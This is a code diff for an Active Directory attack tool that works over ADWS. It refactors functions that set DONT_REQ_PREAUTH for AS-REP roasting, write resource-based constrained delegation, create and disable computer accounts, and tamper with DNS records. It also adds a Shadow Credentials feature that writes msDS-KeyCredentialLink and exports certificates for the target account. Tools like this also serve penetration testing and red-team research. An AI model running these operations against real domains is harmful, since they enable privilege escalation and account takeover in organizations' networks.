userAccountControl.""" get_accounts_queries = f"(sAMAccountName={target})" pull_client = ADWSConnect.pull_client(ip, domain, username, auth) - attributes: list = [ - "userAccountControl", - "distinguishedName", - ] + attributes: list = ["userAccountControl", "distinguishedName"] pull_et = pull_client.pull(query=get_accounts_queries, basedn=None, attributes=attributes) uac = None @@ -420,22 +374,16 @@ def set_asrep( put_client = ADWSConnect.put_client(ip, domain, username, auth) if not remove: newUac = int(uac.text) | 0x400000 - put_client.put( - object_ref=dn, - operation="replace", - attribute="addata:userAccountControl", - data_type="string", - value=newUac, - ) else: newUac = int(uac.text) & ~0x400000 - put_client.put( - object_ref=dn, - operation="replace", - attribute="addata:userAccountControl", - data_type="string", - value=newUac, - ) + + put_client.put( + object_ref=dn, + operation="replace", + attribute="addata:userAccountControl", + data_type="string", + value=newUac, + ) print(f"[+] DONT_REQ_PREAUTH {'removed' if remove else 'written'} successfully!") @@ -449,7 +397,7 @@ def set_rbcd( auth: NTLMAuth, remove: bool = False, ): - """Write or remove RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) using ADWS Put operations.""" + """Write or remove RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity).""" get_accounts_queries = f"(|(sAMAccountName={target})(sAMAccountName={account}))" pull_client = ADWSConnect.pull_client(ip, domain, username, auth) @@ -488,7 +436,6 @@ def set_rbcd( logging.critical(f"Unable to find {target} or {account}.") raise SystemExit() - # collect a clean list. remove the account sid if its present target_sd["Dacl"].aces = [ ace for ace in target_sd["Dacl"].aces @@ -526,23 +473,15 @@ def disable_machine_account( domain: str, auth: NTLMAuth ) -> bool: - """ - Disable a computer account (set the ACCOUNTDISABLE flag in userAccountControl) - using ADWS WS-Transfer Put (replace userAccountControl). - """ + """Disable a computer account.""" print(f"[*] Attempting to disable computer: {machine_name}") - # Normalize SAM sam = machine_name if machine_name.endswith("$") else machine_name + "$" - # ---- Locate current userAccountControl and DN ---- get_accounts_queries = f"(sAMAccountName={sam})" pull_client = ADWSConnect.pull_client(ip, domain, username, auth) - attributes: list = [ - "userAccountControl", - "distinguishedName", - ] + attributes: list = ["userAccountControl", "distinguishedName"] try: pull_et = pull_client.pull(query=get_accounts_queries, basedn=None, attributes=attributes) @@ -553,7 +492,6 @@ def disable_machine_account( uac_elem = None distinguishedName_elem = None - # Try computer first, then user for tag in [".//addata:computer", ".//addata:user"]: for item in pull_et.findall(tag, namespaces=NAMESPACES): if uac_elem is None: @@ -584,12 +522,11 @@ def disable_machine_account( ACCOUNTDISABLE_FLAG = 0x2 if (current_uac & ACCOUNTDISABLE_FLAG) != 0: - print(f"[-] Computer {sam} is already disabled (userAccountControl={current_uac}).") + print(f"[-] Computer {sam} is already disabled.") return True new_uac = current_uac | ACCOUNTDISABLE_FLAG - # ---- Perform Put (replace userAccountControl) ---- try: put_client = ADWSConnect.put_client(ip, domain, username, auth) put_client.put( @@ -603,7 +540,7 @@ def disable_machine_account( print(f"[-] Failed to write new userAccountControl for {sam}: {e}") return False - print(f"[+] Computer {sam} successfully disabled (userAccountControl set to {new_uac}).") + print(f"[+] Computer {sam} successfully disabled.") return True @@ -631,25 +568,15 @@ def run_cli(): parser.add_argument( "connection", action="store", + nargs="?", + default=None, help="domain/username[:password]@", ) - parser.add_argument( - "--debug", - action="store_true", - help="Turn DEBUG output ON" - ) - parser.add_argument( - "--ts", - action="store_true", - help="Adds timestamp to every logging output." - ) - parser.add_argument( - "-H", "--hash", - action="store", - metavar="nthash", - help="Use an NT hash for authentication", - ) + parser.add_argument("--debug", action="store_true", help="Turn DEBUG output ON") + parser.add_argument("--ts", action="store_true", help="Adds timestamp to every logging output.") + parser.add_argument("-H", "--hash", action="store", metavar="nthash", help="Use an NT hash for authentication") + # Enumeration options enum = parser.add_argument_group('Enumeration') enum.add_argument("--users", action="store_true", help="Enumerate user objects") enum.add_argument("--computers", action="store_true", help="Enumerate computer objects") @@ -665,6 +592,7 @@ def run_cli(): enum.add_argument("-dn", "--distinguishedname", action="store", metavar="distinguishedname", help="The root object's distinguishedName for the query") enum.add_argument("-p", "--parse", action="store_true", help="Parse attributes to human readable format") + # Writing options writing = parser.add_argument_group('Writing') writing.add_argument("--rbcd", action="store", metavar="source", help="Write/remove RBCD (source computer)") writing.add_argument("--spn", action="store", metavar="value", help='Write servicePrincipalName value (use --remove to delete)') @@ -672,31 +600,60 @@ def run_cli(): writing.add_argument("--account", action="store", metavar="account", help="Account to perform operations on") writing.add_argument("--remove", action="store_true", help="Remove attribute value based on operation") - # Computer management (create/delete/disable) - writing.add_argument("--addcomputer", nargs='?', const='', action="store", metavar="MACHINE", help="Create a computer account in AD (optional MACHINE name)") - writing.add_argument("--computer-pass", action="store", metavar="pass", help="Password for the new computer account (optional).") - writing.add_argument("--ou", action="store", metavar="ou", help="DN of the OU where to create the computer (optional).") + # Computer management + writing.add_argument("--addcomputer", nargs='?', const='', action="store", metavar="MACHINE", help="Create a computer account in AD") + writing.add_argument("--computer-pass", action="store", metavar="pass", help="Password for the new computer account") + writing.add_argument("--ou", action="store", metavar="ou", help="DN of the OU where to create the computer") writing.add_argument("--delete-computer", action="store", metavar="MACHINE", help="Delete an existing computer account") - writing.add_argument("--disable-account", action="store", metavar="MACHINE", help="Disable a computer account (set AccountDisabled)") + writing.add_argument("--disable-account", action="store", metavar="MACHINE", help="Disable a computer account") + + # Shadow Credentials options + shadow = parser.add_argument_group('Shadow Credentials (msDS-KeyCredentialLink)') + shadow.add_argument("--shadow-creds", action="store", metavar="ACTION", + choices=['list', 'add', 'remove', 'clear', 'info'], + help="Shadow Credentials action: list, add, remove, clear, info") + shadow.add_argument("--shadow-target", action="store", metavar="TARGET", + help="Target account for Shadow Credentials operation") + shadow.add_argument("--device-id", action="store", metavar="ID", + help="Device ID for remove/info actions") + shadow.add_argument("--cert-filename", action="store", metavar="NAME", + help="Filename for certificate export (add action)") + shadow.add_argument("--cert-export", action="store", metavar="TYPE", + choices=['PEM', 'PFX'], default='PFX', + help="Export type: PEM or PFX (default: PFX)") + shadow.add_argument("--cert-password", action="store", metavar="PASS", + help="Password for PFX file (random if not set)") + shadow.add_argument("--shadow-creds-help", action="store_true", + help="Display detailed Shadow Credentials help and examples") # DNS management options writing.add_argument("--dns-add", action="store", metavar="FQDN", help="Add A record (FQDN). Requires --dns-ip") writing.add_argument("--dns-modify", action="store", metavar="FQDN", help="Modify/replace A record (FQDN). Requires --dns-ip") writing.add_argument("--dns-remove", action="store", metavar="FQDN", help="Remove A record (FQDN). Requires --dns-ip unless --ldapdelete") - writing.add_argument("--dns-tombstone", action="store", metavar="FQDN", help="Tombstone a dnsNode (replace with TS record + set dNSTombstoned=true)") + writing.add_argument("--dns-tombstone", action="store", metavar="FQDN", help="Tombstone a dnsNode") writing.add_argument("--dns-resurrect", action="store", metavar="FQDN", help="Resurrect a tombstoned dnsNode") writing.add_argument("--dns-ip", action="store", metavar="IP", help="IP used with dns add/modify/remove") - writing.add_argument("--ldapdelete", action="store_true", help="Use delete on dnsNode object (when used with --dns-remove)") + writing.add_argument("--ldapdelete", action="store_true", help="Use delete on dnsNode object") writing.add_argument("--allow-multiple", action="store_true", help="Allow multiple A records when adding") writing.add_argument("--ttl", type=int, default=180, help="TTL for new A record (default 180)") writing.add_argument("--tcp", action="store_true", help="Use DNS over TCP when fetching SOA serial") + # Handle --shadow-creds-help before full argument parsing + if "--shadow-creds-help" in sys.argv: + print_shadow_creds_help() + sys.exit(0) + if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() + # Check if connection is required + if options.connection is None: + parser.print_help() + sys.exit(1) + logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) @@ -708,7 +665,6 @@ def run_cli(): if domain is None: domain = "" - # Ask for password if missing and username present if password == "" and username != "" and options.hash is None: from getpass import getpass password = getpass("Password:") @@ -741,13 +697,78 @@ def run_cli(): auth = NTLMAuth(password=password, hashes=options.hash) - # ----------------------- - # Writing operations - # ----------------------- - try: + # ----------------------- + # Shadow Credentials operations + # ----------------------- + if options.shadow_creds: + if not SHADOW_CREDS_AVAILABLE: + logging.critical("Shadow Credentials module not available. Install dsinternals: pip install dsinternals") + logging.critical("Use --shadow-creds-help for more information") + raise SystemExit(1) + + if not options.shadow_target: + logging.critical("--shadow-target is required for Shadow Credentials operations") + raise SystemExit(1) + + if options.shadow_creds == 'list': + shadow_credentials_list( + target=options.shadow_target, + username=username, + ip=remoteName, + domain=domain, + auth=auth, + ) + + elif options.shadow_creds == 'add': + shadow_credentials_add( + target=options.shadow_target, + username=username, + ip=remoteName, + domain=domain, + auth=auth, + filename=options.cert_filename, + export_type=options.cert_export, + pfx_password=options.cert_password, + ) + + elif options.shadow_creds == 'remove': + if not options.device_id: + logging.critical("--device-id is required for remove action") + raise SystemExit(1) + shadow_credentials_remove( + target=options.shadow_target, + device_id=options.device_id, + username=username, + ip=remoteName, + domain=domain, + auth=auth, + ) + + elif options.shadow_creds == 'clear': + shadow_credentials_clear( + target=options.shadow_target, + username=username, + ip=remoteName, + domain=domain, + auth=auth, + ) + + elif options.shadow_creds == 'info': + if not options.device_id: + logging.critical("--device-id is required for info action") + raise SystemExit(1) + shadow_credentials_info( + target=options.shadow_target, + device_id=options.device_id, + username=username, + ip=remoteName, + domain=domain, + auth=auth, + ) + # RBCD - if options.rbcd is not None: + elif options.rbcd is not None: if not options.account: logging.critical('"--rbcd" must be used with "--account"') raise SystemExit() @@ -792,51 +813,28 @@ def run_cli(): # Add computer elif getattr(options, "addcomputer", None) is not None: - if not username: - logging.critical('Please specify a username with the connection string') - raise SystemExit() - machine_name = None if options.addcomputer == "" else options.addcomputer - try: - add_computer( - target=options.account if options.account else None, - machine_name=machine_name, - ou_dn=options.ou, - username=username, - ip=remoteName, - domain=domain, - auth=auth, - remove=options.remove, - computer_pass=options.computer_pass, - ) - display_name = machine_name if machine_name else "(generated)" - print(f"[+] Computer {display_name} {'removed' if options.remove else 'created'} successfully.") - except NotImplementedError as e: - logging.error("Feature not implemented: %s", e) - raise SystemExit(2) - except Exception as e: - logging.exception("Error during add_computer operation: %s", e) - raise SystemExit(1) + add_computer( + target=options.account if options.account else None, + machine_name=machine_name, + ou_dn=options.ou, + username=username, + ip=remoteName, + domain=domain, + auth=auth, + remove=options.remove, + computer_pass=options.computer_pass, + ) # Disable account elif options.disable_account: - if not username: - logging.critical('Please specify a username with the connection string') - raise SystemExit() - try: - success = disable_machine_account( - machine_name=options.disable_account, - username=username, - ip=remoteName, - domain=domain, - auth=auth, - ) - if not success: - raise SystemExit(1) - print(f"[+] Computer {options.disable_account} disabled successfully (requested).") - except Exception as e: - logging.exception("Error during disable_account operation: %s", e) - raise SystemExit(1) + disable_machine_account( + machine_name=options.disable_account, + username=username, + ip=remoteName, + domain=domain, + auth=auth, + ) # Delete computer elif options.delete_computer: @@ -847,11 +845,8 @@ def run_cli(): domain=domain, auth=auth, ) - return - # ----------------------- # DNS operations - # ----------------------- elif options.dns_add: if not options.dns_ip: logging.critical("--dns-add requires --dns-ip") @@ -918,12 +913,10 @@ def run_cli(): tcp=options.tcp, ) - # ----------------------- # Enumeration / Pull operations (default) - # ----------------------- else: - if ldap_query is None or all(q is None for q in ldap_query): - logging.critical("Query cannot be None") + if not ldap_query or all(q is None for q in ldap_query): + logging.critical("No operation specified. Use --help for available options.") raise SystemExit() client = ADWSConnect.pull_client(